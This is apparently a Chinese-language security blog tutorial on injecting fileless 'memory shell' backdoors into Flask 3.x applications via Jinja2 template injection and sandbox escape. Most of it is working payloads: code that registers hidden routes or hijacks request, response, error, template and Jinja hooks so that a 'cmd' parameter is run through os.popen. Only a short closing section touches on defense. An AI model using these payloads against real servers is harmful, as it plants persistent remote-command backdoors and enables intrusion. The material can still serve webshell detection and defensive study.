详解Flask3.x版本下两大类型内存马
字数 2071 2025-12-03 12:08:35
Flask内存马技术详解
一、模板注入与沙箱逃逸基础
1.1 模板注入原理
Jinja2模板引擎允许在{{ }}中访问变量的属性和方法。通过Python对象之间的关联关系,攻击者可以利用对象引用链从模板字符串逃逸到Python内置环境。
对象引用链示例:
''.__class__.__base__.__subclasses__()
通过这种方式可以逐步访问到__builtins__,获得执行任意代码的能力。
1.2 沙箱逃逸机制
- 沙箱定义:限制代码运行时命名空间、对象访问权限和系统调用能力的安全机制
- 逃逸本质:利用Python对象引用图的连通性,绕过命名空间隔离
- 关键方法:通过Python自省机制遍历未被完全剥离引用的对象
1.3 eval/exec直接利用
如果有eval或exec函数可直接使用,无需沙箱逃逸过程:
eval('恶意代码')
二、非debug模式内存马技术
2.1 核心组件分析
2.1.1 url_for & sys.modules
url_for():Flask反向生成URL的函数- 替代方案:通过
sys.modules获取内存中加载的所有模块
2.1.2 __globals__属性
Python函数对象都有__globals__属性,指向定义该函数的模块的全局命名空间:
url_for.__globals__ # 返回flask.helpers模块的全局字典
2.1.3 __builtins__特性
- 在
__main__模块中:__builtins__是builtins模块本身 - 在其他导入模块中:
__builtins__是builtins模块的__dict__副本
2.1.4 _request_ctx_stack(Flask 2.2之前)
- 作用:获取当前请求上下文
- 使用方法:
_request_ctx_stack.top.request.args.get('cmd')
2.1.5 current_app对象
全局代理对象,指向当前Flask应用实例,用于调用add_url_rule方法。
2.2 add_url_rule方法
Flask注册路由的底层方法:
app.add_url_rule(rule, endpoint, view_func)
参数说明:
rule:路由路径(如'/shell')endpoint:端点名(必须唯一)view_func:视图函数(通常使用lambda)
2.3 完整内存马示例
current_app.add_url_rule('/shell', 'shell', lambda: __import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())
2.4 执行流程
- 沙箱逃逸获取eval函数
- 通过current_app获取应用实例
- 使用add_url_rule添加恶意路由
- Lambda函数动态获取参数执行命令
三、debug模式内存马技术
3.1 钩子函数利用原理
3.1.1 钩子与装饰器区别
- 装饰器:Flask提供的公开API接口
- 钩子:Flask底层的数据结构(列表/字典)
3.1.2 为什么使用钩子而非装饰器
- 绕过@setupmethod限制
- 直接操作运行时内存状态
- 实现持久化驻留
3.2 钩子函数类型分析
3.2.1 before_request_funcs
触发时机:请求刚到达,视图函数执行前
内存马构造:
app.before_request_funcs.setdefault(None, []).append(
lambda: os.popen(request.args.get('cmd', 'whoami')).read() if 'cmd' in request.args else None
)
源码分析:
def before_request(self, f):
self.before_request_funcs.setdefault(None, []).append(f)
return f
3.2.2 after_request_funcs
触发时机:视图函数执行后,响应发送前
技术难点:
- 参数数量必须匹配(需接收response参数)
- 必须返回Response对象
解决方案:
# 方法一:使用setattr
app.after_request_funcs.setdefault(None, []).append(
lambda resp: (setattr(resp, 'data', __import__('os').popen(request.args.get('cmd', 'whoami')).read()), resp)[1]
)
# 方法二:使用set_data
app.after_request_funcs.setdefault(None, []).append(
lambda resp: (resp.set_data(__import__('os').popen(request.args.get('cmd', 'whoami')).read()), resp)[1]
)
# 方法三:使用exec(复杂场景)
app.after_request_funcs.setdefault(None, []).append(
lambda resp: (exec("global CmdResp; CmdResp = __import__('os').popen(request.args.get('cmd', 'whoami')).read()", globals()) or 1) and CmdResp if 'cmd' in request.args else resp
)
3.2.3 url_value_preprocessors
触发时机:路由匹配成功后,参数解析时
特殊要求:函数必须接收两个参数(endpoint和values)
内存马构造:
app.url_value_preprocessors[None].append(
lambda ep, args: (_ for _ in ()).throw(Exception('cmd: ' + __import__('os').popen(request.args.get('cmd', 'whoami')).read())) if 'cmd' in request.args else None
)
四、新版Flask框架适配
4.1 模板上下文处理器
触发时机:渲染模板之前运行
特殊要求:必须返回字典
内存马构造:
app.template_context_processors[None] = [
lambda: {'key': __import__('os').popen(request.args.get('cmd', 'whoami')).read() if 'cmd' in request.args else ''}
]
4.2 错误处理钩子
4.2.1 error_handler_spec
app.error_handler_spec[None][404] = {
lambda e: __import__('os').popen(request.args.get('cmd', 'whoami')).read()
}
4.2.2 handle_user_exception覆盖
setattr(app, 'handle_user_exception',
lambda e: __import__('os').popen(request.args.get('cmd', 'whoami')).read() and make_response('HACKED') if 'cmd' in request.args else original_handler(e)
)
五、高级内存马技术
5.1 Jinja2环境篡改
5.1.1 全局变量注入
app.jinja_env.globals.update({
'cmd': lambda: __import__('os').popen(request.args.get('cmd', 'whoami')).read()
})
SSTI利用: {{ cmd() }}
5.1.2 过滤器注入
app.jinja_env.filters.update({
'cmd': lambda x: __import__('os').popen(request.args.get('cmd', 'whoami')).read()
})
SSTI利用: {{ "" | cmd }}
5.2 核心组件覆盖
5.2.1 process_response覆盖
setattr(app, 'process_response', lambda resp: (
resp.set_data(__import__('os').popen(request.args.get('cmd', 'whoami')).read())
if 'cmd' in request.args else resp
))
六、防御与检测机制
6.1 @setupmethod保护
Flask应用启动后(_got_first_request = True),禁止通过装饰器注册新的路由或钩子。
6.2 关键技术点总结
- 全局钩子选择:使用
None作为键值实现全局触发 - 参数适配:不同钩子函数有特定的参数要求
- 返回值处理:确保不破坏Flask的正常执行流程
- 异常利用:debug模式下通过抛出异常实现回显
6.3 版本适配说明
- Flask 2.2+:弃用
_request_ctx_stack,使用contextvars - Flask 2.3+:移除
before_first_request等旧钩子 - 持续关注官方API变化,及时调整技术方案
本教学文档详细分析了Flask框架下各种内存马技术的实现原理和构造方法,涵盖了从基础沙箱逃逸到高级组件覆盖的完整知识体系。